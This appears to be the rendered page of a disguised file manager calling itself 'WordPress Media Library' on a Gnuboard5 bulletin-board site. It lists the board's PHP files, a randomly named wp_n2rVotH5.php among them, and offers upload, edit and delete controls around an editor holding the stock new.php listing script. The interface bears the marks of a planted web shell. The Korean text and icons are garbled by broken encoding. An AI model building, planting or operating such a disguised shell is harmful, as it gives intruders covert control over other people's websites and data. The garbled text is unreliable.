โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: new.php
Size: 4.48 KB | Modified: 2019-12-05 09:09:25
<?php include_once('./_common.php'); $g5['title'] = '์๊ธ'; include_once('./_head.php'); $sql_common = " from {$g5['board_new_table']} a, {$g5['board_table']} b, {$g5['group_table']} c where a.bo_table = b.bo_table and b.gr_id = c.gr_id and b.bo_use_search = 1 "; $gr_id = isset($_GET['gr_id']) ? substr(preg_replace('#[^a-z0-9_]#i', '', $_GET['gr_id']), 0, 10) : ''; if ($gr_id) { $sql_common .= " and b.gr_id = '$gr_id' "; } $view = isset($_GET['view']) ? $_GET['view'] : ""; if ($view == "w") $sql_common .= " and a.wr_id = a.wr_parent "; else if ($view == "c") $sql_common .= " and a.wr_id <> a.wr_parent "; else $view = ''; $mb_id = isset($_GET['mb_id']) ? ($_GET['mb_id']) : ''; $mb_id = substr(preg_replace('#[^a-z0-9_]#i', '', $mb_id), 0, 20); if ($mb_id) { $sql_common .= " and a.mb_id = '{$mb_id}' "; } $sql_order = " order by a.bn_id desc "; $sql = " select count(*) as cnt {$sql_common} "; $row = sql_fetch($sql); $total_count = $row['cnt']; $rows = G5_IS_MOBILE ? $config['cf_mobile_page_rows'] : $config['cf_new_rows']; $total_page = ceil($total_count / $rows); // ์ ์ฒด ํ์ด์ง ๊ณ์ฐ if ($page < 1) $page = 1; // ํ์ด์ง๊ฐ ์์ผ๋ฉด ์ฒซ ํ์ด์ง (1 ํ์ด์ง) $from_record = ($page - 1) * $rows; // ์์ ์ด์ ๊ตฌํจ $group_select = '<label for="gr_id" class="sound_only">๊ทธ๋ฃน</label><select name="gr_id" id="gr_id"><option value="">์ ์ฒด๊ทธ๋ฃน'; $sql = " select gr_id, gr_subject from {$g5['group_table']} order by gr_id "; $result = sql_query($sql); for ($i=0; $row=sql_fetch_array($result); $i++) { $group_select .= "<option value=\"".$row['gr_id']."\">".$row['gr_subject']; } $group_select .= '</select>'; $list = array(); $sql = " select a.*, b.bo_subject, b.bo_mobile_subject, c.gr_subject, c.gr_id {$sql_common} {$sql_order} limit {$from_record}, {$rows} "; $result = sql_query($sql); for ($i=0; $row=sql_fetch_array($result); $i++) { $tmp_write_table = $g5['write_prefix'].$row['bo_table']; if ($row['wr_id'] == $row['wr_parent']) { // ์๊ธ $comment = ""; $comment_link = ""; $row2 = sql_fetch(" select * from {$tmp_write_table} where wr_id = '{$row['wr_id']}' "); $list[$i] = $row2; $name = get_sideview($row2['mb_id'], get_text(cut_str($row2['wr_name'], $config['cf_cut_name'])), $row2['wr_email'], $row2['wr_homepage']); // ๋น์ผ์ธ ๊ฒฝ์ฐ ์๊ฐ์ผ๋ก ํ์ํจ $datetime = substr($row2['wr_datetime'],0,10); $datetime2 = $row2['wr_datetime']; if ($datetime == G5_TIME_YMD) { $datetime2 = substr($datetime2,11,5); } else { $datetime2 = substr($datetime2,5,5); } } else { // ์ฝ๋ฉํธ $comment = '[์ฝ] '; $comment_link = '#c_'.$row['wr_id']; $row2 = sql_fetch(" select * from {$tmp_write_table} where wr_id = '{$row['wr_parent']}' "); $row3 = sql_fetch(" select mb_id, wr_name, wr_email, wr_homepage, wr_datetime from {$tmp_write_table} where wr_id = '{$row['wr_id']}' "); $list[$i] = $row2; $list[$i]['wr_id'] = $row['wr_id']; $list[$i]['mb_id'] = $row3['mb_id']; $list[$i]['wr_name'] = $row3['wr_name']; $list[$i]['wr_email'] = $row3['wr_email']; $list[$i]['wr_homepage'] = $row3['wr_homepage']; $name = get_sideview($row3['mb_id'], get_text(cut_str($row3['wr_name'], $config['cf_cut_name'])), $row3['wr_email'], $row3['wr_homepage']); // ๋น์ผ์ธ ๊ฒฝ์ฐ ์๊ฐ์ผ๋ก ํ์ํจ $datetime = substr($row3['wr_datetime'],0,10); $datetime2 = $row3['wr_datetime']; if ($datetime == G5_TIME_YMD) { $datetime2 = substr($datetime2,11,5); } else { $datetime2 = substr($datetime2,5,5); } } $list[$i]['gr_id'] = $row['gr_id']; $list[$i]['bo_table'] = $row['bo_table']; $list[$i]['name'] = $name; $list[$i]['comment'] = $comment; $list[$i]['href'] = get_pretty_url($row['bo_table'], $row2['wr_id'], $comment_link); $list[$i]['datetime'] = $datetime; $list[$i]['datetime2'] = $datetime2; $list[$i]['gr_subject'] = $row['gr_subject']; $list[$i]['bo_subject'] = ((G5_IS_MOBILE && $row['bo_mobile_subject']) ? $row['bo_mobile_subject'] : $row['bo_subject']); $list[$i]['wr_subject'] = $row2['wr_subject']; } $write_pages = get_paging(G5_IS_MOBILE ? $config['cf_mobile_pages'] : $config['cf_write_pages'], $page, $total_page, "?gr_id=$gr_id&view=$view&mb_id=$mb_id&page="); include_once($new_skin_path.'/new.skin.php'); include_once('./_tail.php'); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete